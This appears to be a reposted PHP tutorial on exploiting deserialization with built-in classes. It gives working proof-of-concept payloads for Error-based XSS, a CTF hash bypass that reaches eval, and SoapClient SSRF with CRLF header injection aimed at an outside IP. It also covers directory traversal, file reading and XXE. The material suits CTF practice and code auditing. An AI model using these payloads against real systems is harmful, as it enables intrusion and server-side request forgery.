Table of Contents
A brief analysis of the use of PHP deserialization native classes
1. Common magic methods
2. Magic methods in native classes
3. Utilization of some common native classes
Error/Exception
XSS
hash bypass
SoapClient
SSRF
DirectoryIterator/FilesystemIterator
目录遍历
SplFileObject
文件读取
SimpleXMLElement
XXE
ReflectionMethod
获取注释内容
Home Backend Development PHP Tutorial In-depth understanding of PHP deserializing native classes

In-depth understanding of PHP deserializing native classes

May 17, 2022 am 11:56 AM
php

This article brings you relevant knowledge about PHP, which mainly introduces the use of deserialized native classes. If there is a deserialization function in code audit or ctf point, but it cannot construct a complete pop chain, so how should we break the situation at this time? Let’s take a look at it, I hope it will be helpful to everyone.

In-depth understanding of PHP deserializing native classes

Recommended study: "PHP Video Tutorial"

A brief analysis of the use of PHP deserialization native classes

If there is a deserialization function in code audit or ctf, but a complete pop chain cannot be constructed, how should we break the situation? We can try to start with PHP native classes. Some PHP native classes have some built-in magic methods. If we cleverly construct controllable parameters, trigger and use their built-in magic methods, it is possible to achieve some of the goals we want.

1. Common magic methods

__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把对象当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发

2. Magic methods in native classes

We use the following script to traverse it Magic methods in all native classes

<?php $classes = get_declared_classes();foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            &#39;__destruct&#39;,
            &#39;__toString&#39;,
            &#39;__wakeup&#39;,
            &#39;__call&#39;,
            &#39;__callStatic&#39;,
            &#39;__get&#39;,
            &#39;__set&#39;,
            &#39;__isset&#39;,
            &#39;__unset&#39;,
            &#39;__invoke&#39;,
            &#39;__set_state&#39;
        ))) {
            print $class . &#39;::&#39; . $method . "\n";
        }
    }}

3. Utilization of some common native classes

Error/Exception

Error Is the base class for all PHP internal error classes. (PHP 7, 8)

**Error::__toString ** The string expression of error

Returns the string expression of Error.

Exception is the base class for all user-level exceptions. (PHP 5, 7, 8)

**Exception::__toString ** Convert the exception object to a string

Returns the exception converted to the string (string) type.

Class attribute

  • message Error message content

  • code Error code

  • file The file name that throws the error

  • line The number of lines that throws the error

XSS

__toString method will return the string form of error or exception, which contains the parameters we input. If we construct a string of xss code and combine it with echo rendering, the reflected xss vulnerability will be triggered

Example:

<?php $a = unserialize($_GET[&#39;a&#39;]);echo $a;

POC:

<?php $a = new Error("<script>alert('xss')");$b = serialize($a);echo urlencode($b);

In-depth understanding of PHP deserializing native classes

hash bypass

Look at a question first

[2020 Geek Challenge]Greatphp

<?phperror_reporting (0);class SYCLOVER {
    public $syc;
    public $lover;
    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }

        }
    }}if (isset($_GET['great'])){
    unserialize($_GET['great']);} else {
    highlight_file(__FILE__);}

Needs to bypass two hash strong comparisons, and ultimately needs to construct eval code execution

Obviously the normal method is It doesn't work, but it can be bypassed through native classes

Similarly, when the md5() and sha1() functions process objects, the __tostring method will be automatically called

Let's take a brief look at it first. Output

<?php $a=new Error("payload",1);$b=new Error("payload",2);$c=new Exception("payload",3);
$d=new Exception("payload",4);
echo $a."<br>";
echo $b."<br>";
echo $c."<br>";
echo $d;

In-depth understanding of PHP deserializing native classes

It can be found that the information returned by these two native classes is exactly the same except for the line number. Using this, we can try to bypass the hash function. What needs to be paid attention to Yes, the two incoming objects must be placed on the same line

So we can conduct a simple test and find that using this method can bypass hash strong (weak) function comparison

<?php $a = new Error("payload",1);$b = new Error("payload",2);if ($a!=$b){
    echo &#39;$a不等于$b&#39;."\n";}if (md5($a)===md5($b)){
    echo "md5值相等\n";}if (sha1($a)===sha1($b)){
    echo "sha1值相等";}

In-depth understanding of PHP deserializing native classes

Based on these knowledge points, we can easily construct the payload

  <?phpclass  SYCLOVER {
	public $syc;
	public $lover;
	public function __wakeup(){
		if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
		   if(!preg_match("/\syc, $match)){
			   eval($this->syc);
		   } else {
			   die("Try Hard !!");
		   }
		   
		}
	}}$str = "?>=include~".urldecode("%D0%99%93%9E%98")."?>";//两次取反绕过正则$a=new Error($str,1);
	$b=new Error($str,2);
	$c = new SYCLOVER();$c->syc = $a;$c->lover = $b;
	echo(urlencode(serialize($c)));?>

SoapClient

SoapClient is a class specially used to access web services. It can provide a PHP client that accesses Web services based on the SOAP protocol. It can create soap data messages and interact with the wsdl interface.

The soap extension module is closed by default and needs to be manually turned on when using it

SoapClient::__call —Call SOAP functions (PHP 5, 7, 8)

Usually, SOAP functions can be called as methods of the SoapClient object

SSRF

Constructor:

public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
第一个参数是用来指明是否是wsdl模式,如果为`null`,那就是非wsdl模式。
第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。

What is soap

SOAP 是基于 XML 的简易协议,是用在分散或分布的环境中交换信息的简单的协议,可使应用程序在 HTTP 之上进行信息交换
SOAP是webService三要素(SOAP、WSDL、UDDI)之一:WSDL 用来描述如何访问具体的接口, UDDI用来管理,分发,查询webService ,SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。
其采用HTTP作为底层通讯协议,XML作为数据传送的格式。

We construct a payload, the first parameter is NULL, and the location of the second parameter is set to the vps address

<?php $a = new SoapClient(null, array(
&#39;location&#39; => 'http://47.102.146.95:2333', 
'uri' =>'uri',
'user_agent'=>'111111'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();

Listen to the 2333 port of the vps. As shown in the figure below, SSRF is successfully triggered. The vps receives the request information

and you can see that both SOAPAction and user_agent are controllable

In-depth understanding of PHP deserializing native classes

During local testing, it was found that when using this built-in class (i.e. soap protocol) to request a port where a service exists, an error will be reported immediately, and when accessing a port where the service does not exist (unoccupied), it will wait for a period of time. Time error reporting can be used to detect intranet assets.

If you cooperate with the CRLF vulnerability, you can also use SoapClient to control other parameters or post to send data. For example: HTTP protocol to attack Redis

CRLF knowledge expansion

HTTP报文的结构:状态行和首部中的每行以CRLF结束,首部与主体之间由一空行分隔。
CRLF注入漏洞,是因为Web应用没有对用户输入做严格验证,导致攻击者可以输入一些恶意字符。
攻击者一旦向请求行或首部中的字段注入恶意的CRLF(\r\n),就能注入一些首部字段或报文主体,并在响应中输出。

By combining CRLF, we can use SoapClient CRLF to do more things, such as inserting custom cookies,

<?php $a = new SoapClient(null, array(
    &#39;location&#39; => 'http://47.102.146.95:2333',
    'uri' =>'uri',
    'user_agent'=>"111111\r\nCookie: PHPSESSION=dasdasd564d6as4d6a"));
    $b = serialize($a);echo $b;$c = unserialize($b);$c->a();

In-depth understanding of PHP deserializing native classes

发送POST的数据包,这里需要将Content-Type设置为application/x-www-form-urlencoded,我们可以通过添加两个\r\n来将原来的Content-Type挤下去,自定义一个新的Content-Type

<?php $a = new SoapClient(null, array(
    &#39;location&#39; => 'http://47.102.146.95:2333',
    'uri' =>'uri',
    'user_agent'=>"111111\r\nContent-Type: application/x-www-form-urlencoded\r\nX-Forwarded-For: 127.0.0.1\r\nCookie: PHPSESSID=3stu05dr969ogmprk28drnju93\r\nContent-Length: 10\r\n\r\npostdata"));
    $b = serialize($a);echo $b;$c = unserialize($b);$c->a();

In-depth understanding of PHP deserializing native classes

看一道ctfshow上的题,完美利用上述知识点

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff); //获取xff头


if($ip!=='127.0.0.1'){
    die('error');
}else{
    $token = $_POST['token'];
    if($token=='ctfshow'){
        file_put_contents('flag.txt',$flag);
    }
}

poc:

<?php $target = &#39;http://127.0.0.1/flag.php&#39;;
$post_string = &#39;token=ctfshow&#39;;
$b = new SoapClient(null,array(&#39;location&#39; => $target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "ssrf"));
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
echo urlencode($a);
?>

DirectoryIterator/FilesystemIterator

DirectoryIterator类提供了一个简单的接口来查看文件系统目录的内容。

DirectoryIterator::__toString 获取字符串形式的文件名 (PHP 5,7,8)

目录遍历

使用此内置类的__toString方法结合glob或file协议,即可实现目录遍历

例如:

<?php $a = new DirectoryIterator("glob:///*");
foreach ($a as $b){
    echo $b.&#39;<br>';
}

FilesystemIterator继承于DirectoryIterator,两者作用和用法基本相同,区别为FilesystemIterator会显示文件的完整路径,而DirectoryIterator只显示文件名

In-depth understanding of PHP deserializing native classes

因为可以配合使用glob伪协议(查找匹配的文件路径模式),所以可以绕过open_basedir的限制

在php4.3以后使用了zend_class_unserialize_deny来禁止一些类的反序列化,很不幸的是这两个原生类都在禁止名单当中

SplFileObject

SplFileObject 类为单个文件的信息提供了一个面向对象的高级接口

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

文件读取

SplFileObject::__toString — 以字符串形式返回文件的路径

<?phphighlight_file (__file__);$a = new SplFileObject("./flag.txt");echo $a;/*foreach($context as $f){
    echo($a);
}*/

如果没有遍历的话只能读取第一行,且受到open_basedir影响

SimpleXMLElement

解析XML 文档中的元素。 (PHP 5、PHP 7、PHP 8)

SimpleXMLElement::__construct — 创建一个新的 SimpleXMLElement 对象

XXE

我们查看一下其参数:

In-depth understanding of PHP deserializing native classes

根据官方文档,发现当第三个参数为True时,即可实现远程xml文件载入,第二个参数的常量值设置为2即可。

利用可参考赛题:[SUCTF 2018]Homework

ReflectionMethod

获取注释内容

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::getDocComment — 获取注释内容
由该原生类中的getDocComment方法可以访问到注释的内容

In-depth understanding of PHP deserializing native classes

同时可利用的原生类还有ZipArchive– 删除文件等等,不在叙述

推荐学习:《PHP视频教程

The above is the detailed content of In-depth understanding of PHP deserializing native classes. For more information, please follow other related articles on the PHP Chinese website!

Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn

Hot AI Tools

Undress AI Tool

Undress AI Tool

Undress images for free

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Clothoff.io

Clothoff.io

AI clothes remover

Video Face Swap

Video Face Swap

Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Tools

Notepad++7.3.1

Notepad++7.3.1

Easy-to-use and free code editor

SublimeText3 Chinese version

SublimeText3 Chinese version

Chinese version, very easy to use

Zend Studio 13.0.1

Zend Studio 13.0.1

Powerful PHP integrated development environment

Dreamweaver CS6

Dreamweaver CS6

Visual web development tools

SublimeText3 Mac version

SublimeText3 Mac version

God-level code editing software (SublimeText3)

How to use PHP to build social sharing functions PHP sharing interface integration practice How to use PHP to build social sharing functions PHP sharing interface integration practice Jul 25, 2025 pm 08:51 PM

The core method of building social sharing functions in PHP is to dynamically generate sharing links that meet the requirements of each platform. 1. First get the current page or specified URL and article information; 2. Use urlencode to encode the parameters; 3. Splice and generate sharing links according to the protocols of each platform; 4. Display links on the front end for users to click and share; 5. Dynamically generate OG tags on the page to optimize sharing content display; 6. Be sure to escape user input to prevent XSS attacks. This method does not require complex authentication, has low maintenance costs, and is suitable for most content sharing needs.

PHP integrated AI intelligent picture recognition PHP visual content automatic labeling PHP integrated AI intelligent picture recognition PHP visual content automatic labeling Jul 25, 2025 pm 05:42 PM

The core idea of integrating AI visual understanding capabilities into PHP applications is to use the third-party AI visual service API, which is responsible for uploading images, sending requests, receiving and parsing JSON results, and storing tags into the database; 2. Automatic image tagging can significantly improve efficiency, enhance content searchability, optimize management and recommendation, and change visual content from "dead data" to "live data"; 3. Selecting AI services requires comprehensive judgments based on functional matching, accuracy, cost, ease of use, regional delay and data compliance, and it is recommended to start from general services such as Google CloudVision; 4. Common challenges include network timeout, key security, error processing, image format limitation, cost control, asynchronous processing requirements and AI recognition accuracy issues.

PHP creates a blog comment system to monetize PHP comment review and anti-brush strategy PHP creates a blog comment system to monetize PHP comment review and anti-brush strategy Jul 25, 2025 pm 08:27 PM

1. Maximizing the commercial value of the comment system requires combining native advertising precise delivery, user paid value-added services (such as uploading pictures, top-up comments), influence incentive mechanism based on comment quality, and compliance anonymous data insight monetization; 2. The audit strategy should adopt a combination of pre-audit dynamic keyword filtering and user reporting mechanisms, supplemented by comment quality rating to achieve content hierarchical exposure; 3. Anti-brushing requires the construction of multi-layer defense: reCAPTCHAv3 sensorless verification, Honeypot honeypot field recognition robot, IP and timestamp frequency limit prevents watering, and content pattern recognition marks suspicious comments, and continuously iterate to deal with attacks.

How to use PHP combined with AI to achieve text error correction PHP syntax detection and optimization How to use PHP combined with AI to achieve text error correction PHP syntax detection and optimization Jul 25, 2025 pm 08:57 PM

To realize text error correction and syntax optimization with AI, you need to follow the following steps: 1. Select a suitable AI model or API, such as Baidu, Tencent API or open source NLP library; 2. Call the API through PHP's curl or Guzzle and process the return results; 3. Display error correction information in the application and allow users to choose whether to adopt it; 4. Use php-l and PHP_CodeSniffer for syntax detection and code optimization; 5. Continuously collect feedback and update the model or rules to improve the effect. When choosing AIAPI, focus on evaluating accuracy, response speed, price and support for PHP. Code optimization should follow PSR specifications, use cache reasonably, avoid circular queries, review code regularly, and use X

PHP calls AI intelligent voice assistant PHP voice interaction system construction PHP calls AI intelligent voice assistant PHP voice interaction system construction Jul 25, 2025 pm 08:45 PM

User voice input is captured and sent to the PHP backend through the MediaRecorder API of the front-end JavaScript; 2. PHP saves the audio as a temporary file and calls STTAPI (such as Google or Baidu voice recognition) to convert it into text; 3. PHP sends the text to an AI service (such as OpenAIGPT) to obtain intelligent reply; 4. PHP then calls TTSAPI (such as Baidu or Google voice synthesis) to convert the reply to a voice file; 5. PHP streams the voice file back to the front-end to play, completing interaction. The entire process is dominated by PHP to ensure seamless connection between all links.

How to use PHP to combine AI to generate image. PHP automatically generates art works How to use PHP to combine AI to generate image. PHP automatically generates art works Jul 25, 2025 pm 07:21 PM

PHP does not directly perform AI image processing, but integrates through APIs, because it is good at web development rather than computing-intensive tasks. API integration can achieve professional division of labor, reduce costs, and improve efficiency; 2. Integrating key technologies include using Guzzle or cURL to send HTTP requests, JSON data encoding and decoding, API key security authentication, asynchronous queue processing time-consuming tasks, robust error handling and retry mechanism, image storage and display; 3. Common challenges include API cost out of control, uncontrollable generation results, poor user experience, security risks and difficult data management. The response strategies are setting user quotas and caches, providing propt guidance and multi-picture selection, asynchronous notifications and progress prompts, key environment variable storage and content audit, and cloud storage.

How to use PHP to develop AI-driven advertising delivery PHP advertising performance optimization solution How to use PHP to develop AI-driven advertising delivery PHP advertising performance optimization solution Jul 25, 2025 pm 06:12 PM

PHP provides an input basis for AI models by collecting user data (such as browsing history, geographical location) and pre-processing; 2. Use curl or gRPC to connect with AI models to obtain click-through rate and conversion rate prediction results; 3. Dynamically adjust advertising display frequency, target population and other strategies based on predictions; 4. Test different advertising variants through A/B and record data, and combine statistical analysis to optimize the effect; 5. Use PHP to monitor traffic sources and user behaviors and integrate with third-party APIs such as GoogleAds to achieve automated delivery and continuous feedback optimization, ultimately improving CTR and CVR and reducing CPC, and fully implementing the closed loop of AI-driven advertising system.

PHP realizes commodity inventory management and monetization PHP inventory synchronization and alarm mechanism PHP realizes commodity inventory management and monetization PHP inventory synchronization and alarm mechanism Jul 25, 2025 pm 08:30 PM

PHP ensures inventory deduction atomicity through database transactions and FORUPDATE row locks to prevent high concurrent overselling; 2. Multi-platform inventory consistency depends on centralized management and event-driven synchronization, combining API/Webhook notifications and message queues to ensure reliable data transmission; 3. The alarm mechanism should set low inventory, zero/negative inventory, unsalable sales, replenishment cycles and abnormal fluctuations strategies in different scenarios, and select DingTalk, SMS or Email Responsible Persons according to the urgency, and the alarm information must be complete and clear to achieve business adaptation and rapid response.

See all articles